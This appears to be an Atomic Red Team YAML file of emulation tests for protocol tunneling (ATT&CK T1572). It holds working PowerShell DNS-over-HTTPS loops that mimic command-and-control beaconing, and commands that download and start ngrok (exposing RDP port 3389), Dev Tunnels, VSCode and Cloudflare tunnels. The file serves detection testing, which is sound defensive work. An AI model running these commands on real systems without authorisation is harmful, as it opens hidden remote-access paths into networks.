Files
atomic-red-team/atomics/T1572/T1572.yaml
T
2025-12-13 17:23:17 -05:00

312 lines
12 KiB
YAML

attack_technique: T1572
display_name: 'Protocol Tunneling'
atomic_tests:
- name: DNS over HTTPS Large Query Volume
auto_generated_guid: ae9ef4b0-d8c1-49d4-8758-06206f19af0a
description: |
This test simulates an infected host sending a large volume of DoH queries to a command and control server.
The intent of this test is to trigger threshold based detection on the number of DoH queries either from a single source system or to a single targe domain.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
supported_platforms:
- windows
input_arguments:
doh_server:
description: Default DoH resolver
type: string
default: https://8.8.8.8/resolve
query_type:
description: DNS query type
type: string
default: TXT
subdomain:
description: Subdomain prepended to the domain name
type: string
default: atomicredteam
query_volume:
description: Number of DNS queries to send
type: integer
default: 1000
domain:
description: Default domain to simulate against
type: string
default: 127.0.0.1.xip.io
executor:
command: |
for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest "#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}" -UseBasicParsing).Content }
name: powershell
- name: DNS over HTTPS Regular Beaconing
auto_generated_guid: 0c5f9705-c575-42a6-9609-cbbff4b2fc9b
description: |
This test simulates an infected host beaconing via DoH queries to a command and control server at regular intervals over time.
This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.
A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
supported_platforms:
- windows
input_arguments:
doh_server:
description: Default DoH resolver
type: string
default: https://8.8.8.8/resolve
runtime:
description: Time in minutes to run the simulation
type: integer
default: 30
domain:
description: Default domain to simulate against
type: string
default: 127.0.0.1.xip.io
subdomain:
description: Subdomain prepended to the domain name
type: string
default: atomicredteam
query_type:
description: DNS query type
type: string
default: TXT
c2_interval:
description: Seconds between C2 requests to the command and control server
type: integer
default: 30
c2_jitter:
description: Percentage of jitter to add to the C2 interval to create variance in the times between C2 requests
type: integer
default: 20
executor:
command: |
Set-Location "PathToAtomicsFolder"
.\T1572\src\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}
name: powershell
- name: DNS over HTTPS Long Domain Query
auto_generated_guid: 748a73d5-cea4-4f34-84d8-839da5baa99c
description: |
This test simulates an infected host returning data to a command and control server using long domain names.
The simulation involves sending DoH queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DoH queries for long domain names over a set threshold.
Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
supported_platforms:
- windows
input_arguments:
doh_server:
description: Default DoH resolver
type: string
default: https://8.8.8.8/resolve
query_type:
description: DNS query type
type: string
default: TXT
subdomain:
description: Subdomain prepended to the domain name (should be 63 characters to test maximum length)
type: string
default: atomicredteamatomicredteamatomicredteamatomicredteamatomicredte
domain:
description: Default domain to simulate against
type: string
default: 127.0.0.1.xip.io
executor:
command: |
Set-Location "PathToAtomicsFolder"
.\T1572\src\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}
name: powershell
- name: run ngrok
auto_generated_guid: 4cdc9fc7-53fb-4894-9f0c-64836943ea60
description: |
Download and run ngrok. Create tunnel to chosen port.
supported_platforms:
- windows
input_arguments:
api_token:
description: ngrok API
type: string
default: N/A
port_num:
description: port number for tunnel
type: integer
default: 3389
download:
description: link to download ngrok
type: string
default: https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip
dependency_executor_name: powershell
dependencies:
- description: |
Download ngrok
prereq_command: |
if (Test-Path C:\Users\Public\ngrok) {exit 0} else {exit 1}
get_prereq_command: |
New-Item -Path C:\Users\Public\ngrok -ItemType Directory | Out-Null
Invoke-WebRequest #{download} -OutFile C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip -UseBasicParsing
Expand-Archive C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip -DestinationPath C:\Users\Public\ngrok
executor:
command: |
C:\Users\Public\ngrok\ngrok.exe config add-authtoken #{api_token} | Out-Null
Start-Job -ScriptBlock { C:\Users\Public\ngrok\ngrok.exe tcp #{port_num} } | Out-Null
Start-Sleep -s 5
Stop-Job -Name Job1 | Out-Null
cleanup_command: |
Remove-Item C:\Users\Public\ngrok -Recurse -ErrorAction Ignore
Remove-Item C:\%userprofile%\AppData\Local\ngrok -ErrorAction Ignore
name: powershell
elevation_required: true
- name: Microsoft Dev tunnels (Linux/macOS)
auto_generated_guid: 9f94a112-1ce2-464d-a63b-83c1f465f801
description: |
Dev Tunnels enables insiders as well as threat actors to expose local ports over the internet via Microsoft dev tunnels.
This atomic will generate a dev tunnel binding it to the local service running on the provided port. Can be used to expose local services, web applications and local files etc.
Reference:
- [Microsoft Docs](https://learn.microsoft.com/en-us/tunnels/dev-tunnels-overview)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/devtunnels/)
supported_platforms:
- linux
- macos
input_arguments:
port:
description: port number for tunnel
type: integer
default: 8080
download_url:
description: link to download devtunnel
type: string
default: https://aka.ms/TunnelsCliDownload/linux-x64
binary_path:
description: path to download devtunnel
type: string
default: PathToAtomicsFolder/../ExternalPayloads/devtunnel
dependencies:
- description: |
Download devtunnel
prereq_command: |
test -f #{binary_path}
get_prereq_command: |
mkdir -p $(dirname #{binary_path})
curl -L "#{download_url}" -o "#{binary_path}"
chmod +x #{binary_path}
- description: |
Login to Microsoft Dev tunnels
prereq_command: |
#{binary_path} user show | grep -q "Not logged in" && exit 1 || exit 0
get_prereq_command: |
echo "Login to devtunnel using the following command: #{binary_path} user login"
executor:
command: |
#{binary_path} host -p #{port} &
cleanup_command: |
pkill -9 $(basename "#{binary_path}")
#{binary_path} user logout
rm #{binary_path}
name: bash
- name: VSCode tunnels (Linux/macOS)
auto_generated_guid: b877943f-0377-44f4-8477-f79db7f07c4d
description: |
Visual Studio Code Remote Tunnels can be used for exposing local development environment/services/files over the internet.
This atomic will generate a dev tunnel binding it to the local service running on the provided port.
Reference:
- [Microsoft Docs](https://code.visualstudio.com/docs/remote/tunnels)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/vscode-server/)
supported_platforms:
- linux
- macos
input_arguments:
artifact_base_url:
description: Base URL to download code-cli
type: string
default: https://code.visualstudio.com/sha/download
artifact_build:
description: build to download - Allowed values (stable/insiders)
type: string
default: stable
payload_path:
description: path to download code-cli
type: string
default: PathToAtomicsFolder/../ExternalPayloads
additional_args:
description: additional arguments to pass to code tunnel
type: string
default: ""
dependencies:
- description: |
Install code-cli
prereq_command: |
which code
get_prereq_command: |
ARCH_SUFFIX=$(uname -m | grep -q "arm64\|aarch64" && echo "arm64" || echo "x64")
if [ "$(uname)" = "Darwin" ]
then brew install code-cli
elif [ "$(expr substr $(uname) 1 5)" = "Linux" ]
then mkdir -p $(dirname #{payload_path})
PKG_TYPE=$(command -v apt >/dev/null && echo "deb" || echo "rpm")
curl -L "#{artifact_base_url}?build=#{artifact_build}&os=linux-${PKG_TYPE}-${ARCH_SUFFIX}" -o "#{payload_path}/code.${PKG_TYPE}"
(which apt && apt install -y "#{payload_path}/code.${PKG_TYPE}") || (which yum && yum install -y "#{payload_path}/code.${PKG_TYPE}")
rm "#{payload_path}/code.${PKG_TYPE}"
fi
- description: |
Login to VSCode Dev tunnels
prereq_command: |
code tunnel user show | grep -q "not logged in" && exit 1 || exit 0
get_prereq_command: |
echo "Login to code tunnel using the following command: code tunnel user login"
executor:
command: |
nohup code tunnel --accept-server-license-terms #{additional_args} >/dev/null 2>&1 &
cleanup_command: |
pkill -9 tunnel
code tunnel unregister
code tunnel user logout
name: sh
- name: Cloudflare tunnels (Linux/macOS)
auto_generated_guid: 228c336a-2f79-4043-8aef-bfa453a611d5
description: |
Cloudflared can be used for exposing local development environment/services/files over the internet.
This atomic will generate a dev tunnel binding it to the local service running on the provided port.
Reference:
- [Cloudflared Docs](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/)
- [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/cloudflared/)
supported_platforms:
- linux
- macos
input_arguments:
cloudflared_artifact_base_url:
description: Base URL to download cloudflared
type: string
default: https://github.com/cloudflare/cloudflared/releases/latest/download
binary_path:
description: path to download cloudflared
type: string
default: PathToAtomicsFolder/../ExternalPayloads/cloudflared
url_to_tunnel:
description: IP and port to expose
type: string
default: localhost:8080
additional_args:
description: Additional arguments to pass to cloudflared
type: string
default: ""
dependencies:
- description: |
Download cloudflared
prereq_command: |
test -f "#{binary_path}" && exit 0 || exit 1
get_prereq_command: |
ARCH_SUFFIX=$(uname -m | grep -q "arm64\|aarch64" && echo "arm64" || echo "amd64")
if [ "$(uname)" = "Darwin" ]
then curl -L "#{cloudflared_artifact_base_url}/cloudflared-darwin-${ARCH_SUFFIX}.tgz" -o "$(dirname #{binary_path})/cloudflared-darwin-${ARCH_SUFFIX}.tgz"
cd "$(dirname #{binary_path})"
tar -xzf "cloudflared-darwin-${ARCH_SUFFIX}.tgz"
rm -f "cloudflared-darwin-${ARCH_SUFFIX}.tgz"
chmod +x "#{binary_path}"
elif [ "$(expr substr $(uname) 1 5)" = "Linux" ]
then mkdir -p $(dirname #{binary_path})
curl -L "#{cloudflared_artifact_base_url}/cloudflared-linux-${ARCH_SUFFIX}" -o "#{binary_path}"
chmod +x "#{binary_path}"
fi
executor:
command: |
nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &
cleanup_command: |
pkill -9 $(basename "#{binary_path}")
rm -f "#{binary_path}"
name: sh